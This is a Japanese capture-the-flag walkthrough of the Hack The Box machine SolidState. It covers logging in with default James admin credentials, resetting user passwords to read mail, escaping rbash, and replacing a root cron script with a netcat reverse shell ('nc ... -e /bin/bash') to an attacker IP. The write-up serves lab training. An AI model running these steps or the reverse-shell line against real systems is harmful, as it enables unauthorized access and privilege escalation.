SolidState 日本語でウォークスルー Hack The Box Machine:

HTB htb-medium

Hack The BoxのSolidStateのウォークスルー・ライトアップ(walkthrough/writeup)です。難易度はmediumとなっています。
※本記事はサイバー犯罪を助長するものではありません。ハッキングやクラック等の悪用は厳禁です。

HTB SolidState ウォークスルー・ライトアップ Hack The Box

Summary

local shell取得まで

ターゲットポート:TCP 25(smtp),110(pop3),4555(rsip)
脆弱性:ターゲットでは、「james remote administration tool」を使用していた。このツールにデフォルトのクレデンシャル情報が使用されていた。
このツールを利用し、ユーザのSSHのクレデンシャル情報を取得した。
local権限を取得したユーザ:「mindy」

privilege Escalation取得まで

脆弱性:ターゲットには、定期的に実行をスケジューリングされているpythonファイルがあった。これはroot権限で実行されていた。
このphpファイルを置き換えることでreverse-shellを取得した。
root権限を取得したユーザ:root

Information Gathering

ポートスキャン

それでははじめます。まずはターゲット上で動作しているTCPポートをnmapで探します。nmapについてはこちらを参照ください。

nmap -p- -n -T4 -A -v 10.10.xx.xx

nmapの結果、上画像の通り、
TCPポート番号22(ssh),25(smtp),80(http),110(pop3),119(nntp),4555(rsip)が開いていることが分かりました。
TCP番号4555は「james remote administration tool」を使用しているようです。
そちらも気になりますが、まずはhttpサービスから調査していくことにしました。

ターゲットのhttpサービス調査

httpでfirefoxにアクセスしました。その結果、以下サイトに接続しました。
とある会社のホームページのようでした。

TCP番号4555(rsip)の調査

初期nmapの結果、このサービスは「james remote administration tool」を使用しているようでした。
このツールについて調べた所、Apache James Server 2.3.2 – Remote Command Executionから、以下のデフォルトクレデンシャル情報を見つけました。

userid:root password:root

netcatを使用してターゲットにTCP番号4555で接続しました。
上記のクレデンシャル情報を使用した所、ログインできました。


ログイン後は、「help」コマンドに従い調査を続けました。
上画像の通り、まずは「listusers」コマンドでユーザーを調査しました。
その結果、ユーザとして「james」、「thomas」、「john」、「mindy」、「mailadmin」を見つけました。
次に「setpassword」コマンドで各ユーザのパスワードを「password」に変更しました。

気になったのは「mailadmin」というユーザでした。
このユーザから、これらのクレデンシャル情報が、メールサービス(TCP番号25,110)でも使用されているのではと考えました。
そのため、次はターゲットのメールサービスを調査することにしました。

メールサービスを調査する。(TCP25,110)

TCP番号110(pop3)で接続し、ユーザ宛てに届いているメールを確認することにしました。
先程、「james remote administration tool」変更したパスワードを使ってログインを試みました。

user:mindy password:password

すると、上記クレデンシャル情報で「mindy」ユーザとしてログインすることができました。

「mindy」ユーザ宛てに、届いていたメールを確認した所、
以下のクレデンシャル情報を見つけました。

userid:mindy password:P@55W0rd1!2@

どうやらこのクレデンシャル情報はssh用のようでした。

local shellの取得

「mindy」ユーザでssh接続を試す

先程見つけたクレデンシャル情報使用してssh接続をした所、local-shellの取得に成功しました。
「mindy」ユーザのlocal-shellでした。

コマンドが制限されていた

local-shellを取得しましたが、「sudo -l」や「wget」コマンドが通りませんでした。
「/etc/passwd」を調べた所、「mindy」ユーザは、「/bin/rbash」となっており、権限が制限されていました。

そのため、以下の様に、ssh接続時に「/bin/bash」が取れるように細工をしました。

ssh mindy@10.10.xx.xx "export TERM=xterm; python3 -c 'import pty;pty.spawn(\"/bin/bash\")'" 


これにより、rbashによるコマンドの制限が解除されました。

Privilege Escalation

Privilege Escalationの脆弱性調査

wgetが使えるようになったため、linpeasを自分の魔人からターゲットにダウンロードしました。
linpeasを使用して調査した所、「/opt/tmp.py」を見つけました。

「/opt/tmp.py」を置き換える

以下のような形で、「tmp.py」をreverse-shell用のファイルに置き換えました。


echo 'import os' > /opt/tmp.py
echo 'import sys' >> /opt/tmp.py
echo 'os.system("/bin/nc 10.10.xx.xx 5555 -e /bin/bash")' >> /opt/tmp.py


netcatを仕掛けて、5分程待っていた所、rootのshellを取得できました。
cronで自動的に「tmp.py」が実行されたようでした。

flagを探す

user.txtは「/home/mindy」にありました。
root.txtは「/root」直下にありました。

以上で、SolidStateのウォークスルーは終了です。

今まで記事にしたHack The Boxのマシンは以下にまとめています。